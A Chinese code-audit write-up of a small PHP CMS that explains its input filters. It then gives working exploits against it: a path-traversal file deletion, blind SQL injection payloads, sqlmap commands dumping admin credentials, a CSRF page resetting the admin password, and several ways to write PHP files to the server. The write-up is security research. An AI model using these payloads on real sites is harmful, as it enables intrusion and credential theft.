系统介绍
CMS名称:新秀企业网站系统PHP版
官网:www.sinsiu.com
版本:这里国光用的1.0 正式版 (官网最新的版本有毒,网站安装的时候居然默认使用远程数据库???迷之操作 那站长的后台密码岂不是直接泄露了?疑似远程数据库地址:server.sinsiu.net )
下载地址:蓝奏云
Windows下使用PHPStudy可以直接安装,搭建起来还是很简单的。
防护策略
虽然这是一个不知名的小系统,但是安全加固还是考虑到的,很多本应该有漏洞的地方均被加固修复了,导致国光我一开始一直碰壁,=,= 废话不多说,下面直接列举本次审计碰到的一些坑。
伪造IP注入过滤
思路
首先在后台发现有记录用户IP的功能:
哦豁,会不会有传说中的伪造IP地址注入攻击呢???使用数据库监测工具,发现在注册用户发表评论的时候。用户的IP地址也的确被带入SQL语句中查询了:
select * from php_safe where saf_ip = '10.211.55.2' and saf_action = 'message'
VSCode走起,根据关键词来查找相关功能代码:
include/function.php
//获取客户端IP
function get_ip()
{
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
{
$ip = getenv('HTTP_CLIENT_IP');
}elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'),'unknown')){
$ip = getenv('REMOTE_ADDR');
}elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){
$ip = $_SERVER['REMOTE_ADDR'];
}else{
$ip = '0.0.0.0';
}
if(!is_numeric(str_replace('.','',$ip)))
{
$ip = '0.0.0.0';
}
return $ip;
}
结果
获取IP的关键防护代码:
if(!is_numeric(str_replace('.','',$ip)))
{
$ip = '0.0.0.0';
}
获取到的IP值,去除掉.
后如果不是数字类型的话就重置为0.0.0.0
,扑街,这条思路行不通,赶紧换个思路去
存储型XSS过滤
思路
网站前台有留言功能,留言就会想到存储型XSS,2333 嗝:
结果
定位到留言函数的代码:
index/module/info_main.php
function add_message()
{
safe('message');
global $global,$smarty,$lang;
$mes_email = post('email');
$mes_type = post('type');
$mes_title = post('title');
$mes_text = post('text');
$mes_show = post('show');
if($mes_email == '' || $mes_type == '' || $mes_title == '' || $mes_text == '')
{
$info_text = $lang['submit_error_info'];
}else{
$mes_add_time = time();
if($mes_show != '2')
{
$mes_show = '0';
}
$obj = new message();
$obj->set_value('mes_user_id',$global['user_id']);
$obj->set_value('mes_type',$mes_type);
$obj->set_value('mes_email',$mes_email);
$obj->set_value('mes_title',$mes_title);
$obj->set_value('mes_text',$mes_text);
$obj->set_value('mes_add_time',$mes_add_time);
$obj->set_value('mes_show',$mes_show);
$obj->set_value('mes_lang',S_LANG);
$obj->add();
if(intval(get_varia('sentmail')))
{
$email_title = '您的网站有了新的留言';
$email_text = "[$mes_type] $mes_title <br /> $mes_text";
call_send_email($email_title,$email_text,$global['user_id'],$mes_email);
}
$info_text = $lang['submit_message'];
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$lang['go_back']);
$smarty->assign('link_href',url(array('channel'=>'message')));
}
可以看到前台用户传入的数据经过了post()
函数,追踪到post()
函数的定义处:
include/function.php
function post($val,$filter = 'strict')
{
return $filter(isset($_POST[$val])?$_POST[$val]:'');
}
??? 继续找到strict
的定义处:
include/function.php
//严格过滤字符串中的危险符号
function strict($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str);
}
$str = str_replace('<','<',$str);
$str = str_replace('>','>',$str);
$str = str_replace('?','?',$str);
$str = str_replace('%','%',$str);
$str = str_replace(chr(39),''',$str);
$str = str_replace(chr(34),'"',$str);
$str = str_replace(chr(13).chr(10),'<br />',$str);
return $str;
}
可以发现 我们的村粗XSS所用到的尖括号完全被过滤掉了:
$str = str_replace('<','<',$str);
$str = str_replace('>','>',$str);
这也导致了 管理员后台可以直接看到XSS Payload ,场面一度非常尴尬:
用户评论的核心代码也被过滤了:
index/module/info_main.php
function add_comment()
{
safe('comment');
global $global,$smarty,$lang;
$channel = post('channel');
$com_page_id = post('page_id');
$com_email = post('email');
$com_rank = post('rank');
$com_text = post('text');
if($channel == '' || $com_page_id == '' || $com_rank == '' || $com_email == '' || $com_text == '')
{
$info_text = $lang['submit_error_info'];
}
...
...
}
存储XSS 扑gai~
前台用户CSRF判断
思路
网站有留言板和文章评论,如何存在CSRF越权的话可以在评论或者留言处贴构造好的CSRF链接,来进行CSRF攻击。23333 感觉稳了!定位到相关功能代码:
index/module/user/deal.php
function edit_pwd()
{
safe('edit_pwd');
global $global,$smarty,$lang;
$old_pwd = post('old_pwd');
$new_pwd = post('new_pwd');
$re_pwd = post('re_pwd');
if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd)
{
$info_text = $lang['submit_error_info'];
}else{
$use_password = md5($old_pwd);
$obj = new users();
$obj->set_where('use_id = '.$global['user_id']);
$obj->set_where("use_password = '$use_password'");
if($obj->get_count() > 0)
{
$use_password = md5($new_pwd);
$obj->set_value('use_password',$use_password);
...
...
}
结果
index/moudle/user/deal.php
// 这里需要提供旧密码
$use_password = md5($old_pwd);
$obj = new users();
$obj->set_where('use_id = '.$global['user_id']);
$obj->set_where("use_password = '$use_password'");
if($obj->get_count() > 0)
没有旧密码 是不可能改密码的,所以CSRF攻击其他用户的想法GG
可控变量过滤
虽然作为一个CMS,用户可控变量很多,文章浏览等功能不可避免地要进行数据库操作,但是该系统基本上把所以可控变量都给过滤了。
session 过滤
使用了$filter = 'strict'
严格模式,关于strict
函数细节可以参考文章上面贴的代码:
include/function.php
function set_session($name,$value,$filter = 'strict')
{
if(S_SESSION)
{
$_SESSION[$name] = $filter($value);
}else{
setcookie($name,$filter($value));
}
}
//获取session
function get_session($name,$filter = 'strict')
{
if(S_SESSION)
{
return $filter(isset($_SESSION[$name])?$_SESSION[$name]:'');
}else{
return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
}
}
cookie过滤
include/function.php
//获取cookie
function get_cookie($name,$filter = 'strict')
{
return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
}
管理员登录过滤
admin/module/info_main.php
function admin_login()
{
safe('admin_login');
global $smarty,$lang;
$username = substr(post('username'),0,30);
$password = substr(post('password'),0,30);
if($username == '' || $password == '')
{
unset_session('admin_username');
unset_session('admin_password');
$info_text = '对不起,用户名和密码不能为空';
$link_text = '返回重新登录';
}
...
...
}
普通用户登录过滤
index/module/info_main.php
function user_login()
{
safe('user_login');
global $global,$smarty,$lang;
$info_text = post('info_text');
$link_text = post('link_text');
$link_href = post('link_href');
$username = post('username');
$password = post('password');
...
...
}
大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。
漏洞分析
后台任意文件删除
漏洞分析
漏洞文件:admin/deal.php
deal.php
function del_file()
{
$path = post('path');
$flag = false;
$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';
for($i = 0; $i < count($dir); $i ++)
{
if(substr($path,0,strlen($dir[$i])) == $dir[$i])
{
$flag = true;
}
}
if($flag)
{
if(unlink($path))
{
$result = 1;
}
}
echo isset($result)?$result:0;
}
这里核心看这处代码:
if(substr($path,0,strlen($dir[$i])) == $dir[$i])
{
$flag = true;
}
这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:
$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';
这3个目录下的文件,使用了substr
从$path
的0位置开始往后判断,只校验了$path
前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../
的这种形式来穿越目录。
漏洞利用
抓取删除
这个操作的数据包,具体如下:
POST /admin.php?/deal/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 33
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/file/mod-pic_lists/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84
Connection: close
cmd=del_file&path=images/../1.php
通过在白名单目录后面使用../
可以实现跨目录任意文件删除,删除成功返回1
后台盲注
后台盲注有好几处点,虽然可控变量基本上都被过滤了,但是却忽略 数字型盲注 不需要闭合单引号就可以直接拼接SQL语句导致盲注的产生,下面就找一个典型的例子来分析。
漏洞分析
后台删除管理员账号这里存在数字型盲注,下面来看下细节代码:
admin/module/basic/deal.php
function del_admin()
{
global $global;
$adm_id = post('id');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$a = $obj->get_one();
$obj->set_where('');
$obj->set_where("adm_id = $adm_id");
$b = $obj->get_one();
if($obj->get_count())
{
if($a['adm_grade'] < $b['adm_grade'])
{
$obj->del();
set_cookie('result',1);
}
}
echo 1;
}
比较关键的两处代码是:
// admin_id 用户可控 虽然经过post过滤了
$adm_id = post('adm_id');
// post过滤后直接带入数据库操作
$obj->set_where('adm_id = '.$global['admin_id']);
为了进一步分析,使用Burpsuite来抓取删除的数据包,具体如下:
POST /admin.php?/deal/dir-basic/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 18
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/basic/mod-admin_list/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112
Connection: close
cmd=del_admin&id=2
因为代码里面只返回1 echo 1;
所以这里注入的话只能使用数字型基于时间的盲注了:
使用数据库监控工具来看一下后台执行了什么样的SQL语句:
select * from php_admin where adm_id = 3
先延时再验证一下:
cmd=del_admin&id=3 and sleep(10)
后台SQL语句:
select * from php_admin where adm_id = 3 and sleep(10)
然鹅测试发现并没有延时反应,因为这里是删除用户,当这个用户的ID被删掉以后,用and语句前提是两边都是真才可以,所以这里得把and换成or语句:
这里的延时貌似误差比较大,实际延时的时长大概是理论延时的两倍左右。
既然知道有注入的话 ,下面开始验证吧。
漏洞利用
手工验证
手工延时盲注是个细心的活,下面只举个基本例子:
# 判断当前数据库长度
# 当前数据库长度是否为 1 没有延时 不是
cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0)
# 延时 表明当前数据库长度为 6
cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0)
# 当前数据库第1个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0)
# 延时 表明当前数据库第1个字母的ascii码为 115 即 's'
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0)
# 当前数据库第2个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0)
# 延时 表明当前数据库第2个字母的ascii码为 105 即 'i'
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0)
...
SQLMap注入
为啥不自己写脚本来注入呢???因为SQLMap本身很强大,这里不需要造轮子,很多人不了解SQLMap,认为现在基本上SQLMap注入不出来啥,实际上还是他们不够了解,SQLMap灵活程度非常高,远比自己造轮子写脚本快的多。下面直接上关键的用法参数吧:
sqlmap -u "http://10.211.55.12//admin.php?/deal/dir-basic/" --cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
注入结果
参数细节
-u "http://10.211.55.12//admin.php?/deal/dir-basic/"
实际上也可以 保存数据包为文本,然后-r
,文本里面手动标 星号
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"
因为这个是后台盲注,所以这里需要Cookie认证一下
--data="cmd=del_admin&id=3"
手动写入POST数据包,将请求中提供对应发送的数据隐式地将 GET 改成 POST
-p "id"
手动指出存在注入的参数
--technique=T
手动指定时间型盲注的检测技术,SQLMap默认检测技术为 BEUSTQ
--random-agent
好习惯,随机user-agent
-v 3
国光自己的习惯,显示已注入的 payloads,国光习惯看SQLMap的payload,看多有助于学习先进的手工注入技术
--tamper="between"
因为这个网站过滤了尖括号,所以介个插件,作用是NOT BETWEEN 0 AND #
替换大于号>
,BETWEEN # AND #
替换等于号=
-D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
日常操作,这里大家应该很熟悉了,国光就不再BB了
管理员CSRF
漏洞分析
修改管理员密码,没有验证就密码,直接提供新密码,而且没有Token验证来防御CSRF攻击:
admin/moudle/basic/deal.php
function edit_admin()
{
global $global,$smarty;
$adm_id = post('adm_id');
$adm_password = post('adm_password');
$re_password = post('re_password');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$a = $obj->get_one();
$obj->set_where('');
$obj->set_where("adm_id = $adm_id");
$b = $obj->get_one();
$success = 0;
if($obj->get_count())
{
if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade'])
{
if(strlen($adm_password) >= 5 && $adm_password == $re_password)
{
$obj->set_value('adm_password',md5($adm_password));
$obj->edit();
$success = 1;
}
}
}
if($success)
{
$info_text = '修改密码成功';
$link_text = '返回列表页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
}else{
$info_text = '修改密码失败';
$link_text = '返回上一页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$link_text);
$smarty->assign('link_href',$link_href);
}
同理添加管理员也是这样:
admin/moudle/basic/deal.php
function del_admin()
{
global $global;
$adm_id = post('id');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$a = $obj->get_one();
$obj->set_where('');
$obj->set_where("adm_id = $adm_id");
$b = $obj->get_one();
if($obj->get_count())
{
if($a['adm_grade'] < $b['adm_grade'])
{
$obj->del();
set_cookie('result',1);
}
}
echo 1;
}
漏洞利用
修改管理员密码为:Passw0rd 构造以下HTML页面:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST">
<input type="hidden" />
<input type="hidden" />
<input type="hidden" />
<input type="hidden" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
下面实际来模拟一下攻击场景
攻击者将上述html保存到外网上,引诱管理员点击,然后自动触发CSRF攻击:
当管理员在后台 使用当前浏览器去访问这个地址的时候就中招了,这个html里面的修改密码表单会自动触发,GG
前台盲注
前面漏洞要么需要拿到后台,要么需要社工来CSRF攻击管理员,需要一些运气成分,但是这个洞就不需要了,这个洞产生点在网站的前台,可以直接进行注入。
漏洞分析
index/module/search_main.php
<?php
function module_search_main()
{
global $global,$smarty;
$global['key'] = rawurldecode($global['key']);
$obj = new goods();
$obj->set_field('goo_id,goo_title,goo_x_img');
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
$len = get_varia('img_list_len');
$obj->set_page_size($len ? $len : 12);
$obj->set_page_num($global['page']);
$sheet = $obj->get_sheet();
for($i = 0; $i < count($sheet); $i ++)
{
$sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10);
}
set_link($obj->get_page_sum());
$smarty->assign('search',$sheet);
}
//新秀
?>
这里首先进行URL解码:
$global['key'] = rawurldecode($global['key']);
然后就直接带入数据库查询了:
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
???不明白为啥这里大意了,明明其他地方过滤都很严格的...
漏洞利用
知道代码仅仅经过一次URL解码,所以尝试一下使用%23
,解码后就是#
来闭合后面的语句:
http://10.211.55.12/?/search/index.html/key-%27%20and%20sleep(2)%20%23/
%27and%20sleep(2)%20%23
URL解码为:' and sleep(2) #
使用MySQL监控工具查看日志:
select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn' and goo_show = 1 and goo_title like '%' and sleep(2) #%' and goo_channel_id = 1 order by goo_top desc,goo_index desc,goo_id desc
成功了,那么接下来使用SQLMap来进注入吧。
sqlmap -u "http://10.211.55.12/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
因为这里key-%27*%20%23
国光我使用*
给SQLMap预留好了,然后SQLMap直接注入即可:
理想情况
这部分纯理论测试,实际情况下一般没写入权限,而且这里引号依然无法绕过,但是还是记录一下吧。
MySQL新版下secure-file-priv
字段用来限制MySQL对目录的操作权限。先查看一下本地我们的MySQL是否有作限制
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
-
secure_file_priv的值为null ,表示限制mysqld 不允许导入导出
-
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入导出只能发生在/tmp/目录下
-
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
为了进行理论上漏洞测试,下面来修改一下MySQL配置文件,修改mysql.ini 文件,在[mysqld] 下加入:
secure_file_priv=
重启MySQL服务即可生效:
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
写shell需要网站爆物理路径才可以,当代码没有检测异常操作的时候,遇到错误会直接报错泄露物理路径,这个CMS信息泄露的地方有很多,下面随便找几处:
http://localhost/admin/admin.php
http://localhost/admin/deal.php
http://localhost/admin/info.php
http://localhost/include/common.php
http://localhost/index/info.php
http://localhost/index/user.php
...
浏览器直接访问一个试试看:
获取到网站的物理路径为:
C:\phpStudy\PHPTutorial\WWW\
OK,那么可以直接开始写shell了:
http://10.211.55.12/?/search/index.html/key-%27union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\gg.php'%20%23/
shell写入目录为网站根目录下,文件名为gg.php
后台上传Getshell
漏洞分析
涉及到上传的代码都使用了 白名单的文件上传策略,安全性明显要高于黑名单的策略,下面是几处上传的代码,共同特点都使用了move_uploaded_file
函数来将文件放入到指定目录:
admin/moudle/file/deal.php
function upload()
{
$dir = post('dir');
$file = post('file');
$suffix = strtolower(get_file_name($file,'.'));
if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
{
move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
set_cookie('file',$dir.$file);
}
}
admin/moudle/article/deal.php
function upload()
{
$dir = post('dir');
$file = post('file');
$suffix = strtolower(get_file_name($file,'.'));
if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
{
move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
set_cookie('file',$dir.$file);
}
}
漏洞利用
move_uploaded_file 函数在PHP版本低于5.3.4的时候 很容易被00截断突破,所以这里的漏洞利用也是理论上利用的,生产环境必须是低版本的PHP才可以成功截断getshell。
本系统有两处上传可以成功,分别是:
- 「文件管理」-「资源管理」-「上传文件」
- 「文章管理」-「添加下载」-「上传文件」
值得一提的是:「文件管理」-「图片管理」-「上传图片」这里国光并没有实践成功,原因是admin/moudle/goods/deal.php 代码里面做了其他的限制措施,感兴趣的朋友可以去研究一下。
目录截断
Content-Disposition: form-data; name="cmd"
upload
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="dir"
resource/233.php%00
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="file"
1.jpg
文件名截断
Content-Disposition: form-data; name="cmd"
upload
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="dir"
resource/
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="file"
233.php%00.jpg
以上
%00
在BP里面得手动URL解码,文章中这样写 只是方便展示截断位置(这里又啰嗦了一句 实际上做安全的应该都知道00截断)
后台语言设置Getshell
漏洞分析
admin/moudle/file/deal.php
function edit_lang()
{
global $smarty,$lang;
$path = post('path');
$lang_text = post('lang_text','no_filter');
file_put_contents($path,$lang_text);
$smarty->assign('info_text','编辑语言包成功');
$smarty->assign('link_text','返回上一页');
$smarty->assign('link_href',url(array('channel'=>'file','mod'=>'lang_edit','path'=>rawurlencode($path))));
}
可以看到path
路径是经过post()
函数过滤的,但是lang_text
过滤的规则是:no_filter
跟进一下这个规则细节:
include/function.php
//不过滤
function no_filter($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str);
}
return $str;
}
哦豁,没有过滤就直接执行了file_put_contents($path,$lang_text);
写文件的操作 ~ 下面直接开始漏洞利用吧。
漏洞利用
「文件管理」-「资源管理」-「语言包」-「en-us/zh-cn」-「修改」
接着随便找一个语言包文件来修改,这里以修改languages/en-us/admin/about.txt
文件为例子:
提交的时候 使用BP抓包内容如下:
cmd=edit_lang&path=languages%2Fen-us%2Fadmin%2Fabout.txt&lang_text=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E
这里的path
虽然是使用了严格模式过滤,但是我们把about.txt
改成xxx.php
是不再过滤规则之内的:
cmd=edit_lang&path=languages%2Fen-us%2Fadmin%2Fxxx.php&lang_text=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E
语言包这里查看 可以看到编辑语言成功了:
直接访问康康:
总结
因为第一次写审计的文章,所以写的比较啰嗦了,日后再审计其他系统的分析文章的话,会尽量简洁明了的。